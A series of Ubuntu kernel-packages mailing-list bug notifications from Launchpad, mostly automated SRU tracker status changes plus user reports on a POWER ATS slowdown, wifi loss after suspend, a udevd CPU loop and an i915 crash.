** Changed in: kernel-sru-workflow/automated-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/promote-to-proposed Status: In Progress => Fix Committed ** Changed in: kernel-sru-workflow/promote-to-proposed Status: Fix Committed => Fix Released ** Changed in: kernel-sru-workflow/regression-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/security-signoff Status: New => In Progress ** Changed in: kernel-sru-workflow/snap-release-to-beta Status: New => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-edge Status: New => Confirmed ** Changed in: kernel-sru-workflow/verification-testing Status: New => Confirmed ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1787149 phase: Uploaded + kernel-stable-phase-changed:Tuesday, 21. August 2018 08:01 UTC + kernel-stable-phase:Promoted to proposed ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1787149 - phase: Uploaded - kernel-stable-phase-changed:Tuesday, 21. August 2018 08:01 UTC - kernel-stable-phase:Promoted to proposed + phase: Promoted to proposed + proposed-announcement-sent: true + proposed-testing-requested: true -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1787156 Title: linux-gcp: 4.15.0-1018.19 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: In Progress Status in Kernel SRU Workflow snap-release-to-beta series: Confirmed Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: Confirmed Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux-gcp package in Ubuntu: Invalid Status in linux-gcp source package in Bionic: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1787149 phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787156/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1786462] Re: linux 4.17.0-7.8 ADT test failure with linux 4.17.0-7.8
Any update? Does this fix the issue? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1786462 Title: linux 4.17.0-7.8 ADT test failure with linux 4.17.0-7.8 Status in ubuntu-kernel-tests: New Status in linux package in Ubuntu: Incomplete Status in linux source package in Cosmic: Incomplete Bug description: Testing failed on: i386: https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-cosmic/cosmic/i386/l/linux/20180810_012246_01e82@/log.gz To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1786462/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1787982] Re: linux: 3.13.0-157.207 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1787982 Title: linux: 3.13.0-157.207 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Committed Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: New Status in linux package in Ubuntu: Invalid Status in linux source package in Trusty: New Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1787983 (linux-lts-trusty) derivatives: kernel-stable-phase:Uploaded kernel-stable-phase-changed:Monday, 20. August 2018 17:00 UTC -- swm properties -- boot-testing-requested: true phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787982/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1787982] Re: linux: 3.13.0-157.207 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: Confirmed => In Progress ** Changed in: kernel-sru-workflow/promote-to-proposed Assignee: Ubuntu Stable Release Updates Team (ubuntu-sru) => Łukasz Zemczak (sil2100) ** Also affects: linux (Ubuntu Trusty) Importance: Undecided Status: New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1787982 Title: linux: 3.13.0-157.207 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Committed Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: New Status in linux package in Ubuntu: Invalid Status in linux source package in Trusty: New Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1787983 (linux-lts-trusty) derivatives: kernel-stable-phase:Uploaded kernel-stable-phase-changed:Monday, 20. August 2018 17:00 UTC -- swm properties -- boot-testing-requested: true phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787982/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1787982] Re: linux: 3.13.0-157.207 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: New => Confirmed ** Tags added: block-proposed-trusty ** Tags added: block-proposed ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1787983 (linux-lts-trusty) derivatives: kernel-stable-phase:Uploaded kernel-stable-phase-changed:Monday, 20. August 2018 17:00 UTC -- swm properties -- + boot-testing-requested: true phase: Uploaded -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1787982 Title: linux: 3.13.0-157.207 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Confirmed Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: New Status in linux package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1787983 (linux-lts-trusty) derivatives: kernel-stable-phase:Uploaded kernel-stable-phase-changed:Monday, 20. August 2018 17:00 UTC -- swm properties -- boot-testing-requested: true phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787982/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1788097] Re: performance drop with ATS enabled
** Also affects: ubuntu-power-systems
Importance: Undecided
Status: New
** Changed in: ubuntu-power-systems
Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team)
** Tags added: triage-g
** Changed in: ubuntu-power-systems
Importance: Undecided => High
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788097
Title:
performance drop with ATS enabled
Status in The Ubuntu-power-systems project:
New
Status in linux package in Ubuntu:
New
Bug description:
== Comment: #0 - Michael Ranweiler - 2018-08-16
09:58:02 ==
Witherspoon cluster now has ATS enabled with driver 396.42, CUDA
version 9.2.148. They are running the CORAL benchmark LULESH with and
without ATS, and they see a significant performance drop with ATS
enabled.
Below is the run with ATS:
Run completed:
Problem size = 160
MPI tasks = 8
Iteration count = 100
Final Origin Energy = 1.605234e+09
Testing Plane 0 of Energy Array on rank 0:
MaxAbsDiff = 2.384186e-07
TotalAbsDiff = 5.300015e-07
MaxRelDiff = 1.631916e-12
Elapsed time = 153.00 (s)
Grind time (us/z/c) = 0.37352393 (per dom) (0.046690491 overall)
FOM = 21417.637 (z/s)
Here is the run without ATS:
Run completed:
Problem size = 160
MPI tasks = 8
Iteration count = 100
Final Origin Energy = 1.605234e+09
Testing Plane 0 of Energy Array on rank 0:
MaxAbsDiff = 2.384186e-07
TotalAbsDiff = 5.300015e-07
MaxRelDiff = 1.631916e-12
Elapsed time = 13.27 (s)
Grind time (us/z/c) = 0.032394027 (per dom) (0.0040492534 overall)
FOM = 246959.11 (z/s)
Using ATS on a single node slows down the OpenACC version more than 10
times, and for the version with OpenMP 4.5 and managed memory, they
observe a 2x slowdown.
Last comment from NVIDIA (Javier Cabezas - 07/29/2018 11:30 AM):
We think we have found where's the issue.
This behavior reproduces for any two concurrent processes that create
CUDA contexts on the GPUs and heavily unmap memory (no need to launch
any work on the GPUs). When the problem repros, perf shows that most
of the time is spent in mmio_invalidate. However, this only happens
when processes register GPUs attached to the same NPU. Thus, if
process A, initializes GPU 0 and/or 1, and process B, initializes GPU
2 and/or 3, we don't see the slowdown. This makes sense, because ATSDs
on different NPUs are issued independently.
After some code inspection in npu-dma.c (powerpc backend in the Linux
kernel), Mark noticed that the problem could be in the utilization of
test_and_set_bit_lock in get_mmio_atsd_reg. The implementation of
test_and_set_bit_lock in powerpc relies on the ldarx/stdcx
instructions (PPC_LLARX/PPC_STLCX in the snippet below):
#define DEFINE_TESTOP(fn, op, prefix, postfix, eh)\
static __inline__ unsigned long fn( \
unsigned long mask, \
volatile unsigned long *_p) \
{ \
unsigned long old, t; \
unsigned long *p = (unsigned long *)_p; \
__asm__ __volatile__ (\
prefix\
"1:"PPC_LLARX(%0,0,%3,eh) "\n"\
stringify_in_c(op) "%1,%0,%2\n" \
PPC405_ERR77(0,%3)\
PPC_STLCX "%1,0,%3\n" \
"bne- 1b\n" \
postfix \
: "=" (old), "=" (t) \
: "r" (mask), "r" (p) \
: "cc", "memory");\
return (old & mask); \
}
According to the PowerPC manual, ldarx creates a memory reservation
and a subsequent stwcx instruction from the same processor ensures an
atomic read-modify-write operation. However, the reservation can be
lost if a different processor executes any store instruction on the
same address. That's why "bne- 1b" checks wether stwcx was successful
and jumps back to retry, otherwise. Since DEFINE_TESTOP doesn't
implement any back-off mechanism, two different processors trying to
get an ATSD register can starve each other.
Mark compiled a custom kernel which surrounds the calls to
test_and_set_bit_lock in get_mmio_atsd_reg with a spinlock and I
verified that it solves the issue. These are the execution times for
LULESH:
ATS OFF
Elapsed time = 16.87 (s)
ATS ON
Elapsed time = 215.56 (s)
ATS ON + Spinlock
Elapsed time = 18.14 (s)
Fixed with the following patch in the powerpc tree:
[Kernel-packages] [Bug 1788098] Re: Avoid migration issues with aligned 2MB THB
** Also affects: qemu Importance: Undecided Status: New ** No longer affects: qemu ** Also affects: ubuntu-power-systems Importance: Undecided Status: New ** Changed in: ubuntu-power-systems Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: ubuntu-power-systems Importance: Undecided => Critical ** Tags added: triage-g -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1788098 Title: Avoid migration issues with aligned 2MB THB Status in The Ubuntu-power-systems project: New Status in linux package in Ubuntu: Confirmed Status in qemu package in Ubuntu: Invalid Status in linux source package in Bionic: Confirmed Status in linux source package in Cosmic: Confirmed Bug description: --- Comment From jhop...@us.ibm.com 2018-08-20 17:12 EDT--- Hi, in some environments it was observed that this qemu patch to enable THP made it more likely to hit guest migration issues, however the following kernel patch resolves those migration issues: https://git.kernel.org/pub/scm/linux/kernel/git/paulus/powerpc.git/commit/?h=kvm-ppc-next=c066fafc595eef5ae3c83ae3a8305956b8c3ef15 KVM: PPC: Book3S HV: Use correct pagesize in kvm_unmap_radix() Once merged upstream, it would be good to include that change as well to avoid potential migration problems. Should I open a new bug for that or is it better to track here? Note Paelzer: I have not seen related migration issues myself, but it seems reasonable and confirmed by IBM. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1788098/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1787983] Re: linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker
** Summary changed: - linux-lts-trusty: -proposed tracker + linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker ** Changed in: kernel-sru-workflow/prepare-package Status: Confirmed => In Progress ** Changed in: kernel-sru-workflow/prepare-package Assignee: Canonical Kernel Team (canonical-kernel-team) => Khaled El Mously (kmously) ** Changed in: kernel-sru-workflow/prepare-package-meta Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package-meta Assignee: Canonical Kernel Team (canonical-kernel-team) => Khaled El Mously (kmously) ** Changed in: kernel-sru-workflow/prepare-package-signed Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package-signed Assignee: Canonical Kernel Team (canonical-kernel-team) => Khaled El Mously (kmously) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-lts-trusty in Ubuntu. https://bugs.launchpad.net/bugs/1787983 Title: linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Invalid Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: In Progress Status in Kernel SRU Workflow prepare-package-meta series: In Progress Status in Kernel SRU Workflow prepare-package-signed series: In Progress Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-lts-trusty package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1787982 phase: Packaging To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787983/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1788073] Re: Wifi adapter not found after suspend (iwlwifi)
I attempted the above process but was met with... should be opening in your browser. Use your browser to authorize this program to access Launchpad on your behalf. Waiting to hear from Launchpad about your decision... Created new window in existing browser session. ERROR: connecting to Launchpad failed: [Errno 13] Permission denied: Is there a manual work around? ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1788073 Title: Wifi adapter not found after suspend (iwlwifi) Status in linux package in Ubuntu: Confirmed Bug description: Hello, I am finding that the network adapter " Network controller: Intel Corporation Wireless 7260 (rev bb) " (iwlwifi) is reported as disabled, or not present after a lengthy suspend. This is an identical issue to those reported for Realtek, but I have not found an existing report for Intel. https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1779817 This was no a problem in 16.04 or 17.10 with the identical hardware. 18.04 was installed clean. Happy to provide more information, however, I am not exactly sure what information to provide? Thanks in advance, Description: Ubuntu 18.04.1 LTS Release: 18.04 02:00.0 Network controller [0280]: Intel Corporation Wireless 7260 [8086:08b1] (rev bb) Subsystem: Intel Corporation Dual Band Wireless-AC 7260 [8086:4070] Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: iwlwifi Kernel modules: iwlwifi To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788073/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1787162] Re: linux-gcp: 4.15.0-1018.19~16.04.2 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: New => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1787162 Title: linux-gcp: 4.15.0-1018.19~16.04.2 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Confirmed Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-gcp package in Ubuntu: Invalid Status in linux-gcp source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1787149 phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787162/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1787154] Re: linux-aws: 4.15.0-1020.20 -proposed tracker
4.15.0-1020.20 - aws Regression test CMPL, RTB. Issue to note in x86_64 (aws): ubuntu_kvm_unit_tests - test skipped due to no KVM support ubuntu_ltp - test disabled ubuntu_ltp_syscalls - inotify08 failed with X/X-LTS/X-HWE/A/B kernel (bug 1775784) Skipped / blacklisted: * libhugetlbfs * ubuntu_nbd_smoke_test * ubuntu_quota_smoke_test * ubuntu_seccomp * ubuntu_zram_smoke_test ** Changed in: kernel-sru-workflow/regression-testing Status: Confirmed => Fix Released ** Changed in: kernel-sru-workflow/regression-testing Assignee: Canonical Kernel Team (canonical-kernel-team) => Po-Hsu Lin (cypressyew) ** Tags added: regression-testing-passed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-aws in Ubuntu. https://bugs.launchpad.net/bugs/1787154 Title: linux-aws: 4.15.0-1020.20 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Fix Released Status in Kernel SRU Workflow security-signoff series: In Progress Status in Kernel SRU Workflow snap-release-to-beta series: Fix Released Status in Kernel SRU Workflow snap-release-to-candidate series: Confirmed Status in Kernel SRU Workflow snap-release-to-edge series: Fix Released Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux-aws package in Ubuntu: Invalid Status in linux-aws source package in Bionic: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1787149 phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787154/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1788018] Re: udevd keeps binding and unbinding some usb device und uses all cpu
I got a workaround by removing /lib/udev/rules.d/97-hid2hci.rules as was mentioned in a comment at https://askubuntu.com/questions/1028883/ubuntu-18-04-systemd-udevd-uses- high-cpu-conflict-with-wifi It seems to be some rule for Bluetooth and touchpads. My touchpad still works, Bluetooth doesn't but that Bluetooth adapter in this laptop has always been very buggy. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1788018 Title: udevd keeps binding and unbinding some usb device und uses all cpu Status in linux package in Ubuntu: Confirmed Status in systemd package in Ubuntu: New Bug description: It first appeared when I upgraded ubuntu studio to 18.04 udevd started to use all available cpu. now I'm running ubuntu desktop from a usb key and it's still the same udevadm monitor returns: KERNEL[2512.539491] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.540201] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.566574] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.566866] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.567499] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.594050] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.594310] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.596510] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.620736] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.624606] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.634706] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) ... ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: udev 237-3ubuntu10.3 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CasperVersion: 1.394 CustomUdevRuleFiles: 70-snap.core.rules Date: Mon Aug 20 18:54:48 2018 ExecutablePath: /lib/systemd/systemd-udevd LiveMediaBuild: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) MachineType: Dell Inc. Vostro 3300 ProcEnviron: LANG=C.UTF-8 PATH=(custom, no user) ProcKernelCmdLine: file=/cdrom/preseed/hostname.seed boot=casper initrd=/casper/initrd.lz quiet splash --- maybe-ubiquity SourcePackage: systemd UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 02/10/2010 dmi.bios.vendor: Dell Inc. dmi.bios.version: A01 dmi.board.name: 07JC8T dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvrA01:bd02/10/2010:svnDellInc.:pnVostro3300:pvrNotSpecified:rvnDellInc.:rn07JC8T:rvrA00:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Vostro 3300 dmi.product.version: Not Specified dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788018/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783538] Re: System crashed after running xrandr
Please try kernel package in [1] and [2]. [1] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18/ [2] http://kernel.ubuntu.com/~kernel-ppa/mainline/drm-intel-nightly/current/ -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783538 Title: System crashed after running xrandr Status in linux package in Ubuntu: Incomplete Bug description: Jul 25 13:45:51 naamaG kernel: [310183.206113] [drm:intel_cpu_fifo_underrun_irq_handler [i915]] *ERROR* CPU pipe A FIFO underrun Jul 25 13:45:51 naamaG kernel: [310183.270735] [drm:intel_cpu_fifo_underrun_irq_handler [i915]] *ERROR* CPU pipe B FIFO underrun Jul 25 13:45:51 naamaG kernel: [310183.279137] [drm:pipe_config_err [i915]] *ERROR* mismatch in pixel_rate (expected 148500, found 296999) Jul 25 13:45:51 naamaG kernel: [310183.279210] [drm:pipe_config_err [i915]] *ERROR* mismatch in shared_dpll (expected 8cf8326d45b0, found 8cf8326d4518) Jul 25 13:45:51 naamaG kernel: [310183.279272] [drm:pipe_config_err [i915]] *ERROR* mismatch in dpll_hw_state.ctrl1 (expected 0x0003, found 0x0001) Jul 25 13:45:51 naamaG kernel: [310183.279329] [drm:pipe_config_err [i915]] *ERROR* mismatch in base.adjusted_mode.crtc_clock (expected 148500, found 296999) Jul 25 13:45:51 naamaG kernel: [310183.279382] [drm:pipe_config_err [i915]] *ERROR* mismatch in port_clock (expected 27, found 54) Jul 25 13:45:51 naamaG kernel: [310183.279386] pipe state doesn't match! Jul 25 13:45:51 naamaG kernel: [310183.279442] [ cut here ] Jul 25 13:45:51 naamaG kernel: [310183.279505] WARNING: CPU: 2 PID: 1207 at /build/linux-KPInqg/linux-4.13.0/drivers/gpu/drm/i915/intel_display.c:12277 intel_atomic_commit_tail+0xddb/0xfb0 [i915] Jul 25 13:45:51 naamaG kernel: [310183.279507] Modules linked in: nfnetlink_queue nfnetlink_log sctp ccm veth xt_nat xt_tcpudp ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack libcrc32c br_netfilter bridge stp llc overlay bnep nls_iso8859_1 intel_rapl x86_pkg_temp_thermal intel_powerclamp arc4 coretemp wmi_bmof kvm snd_hda_codec_hdmi irqbypass crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc aesni_intel aes_x86_64 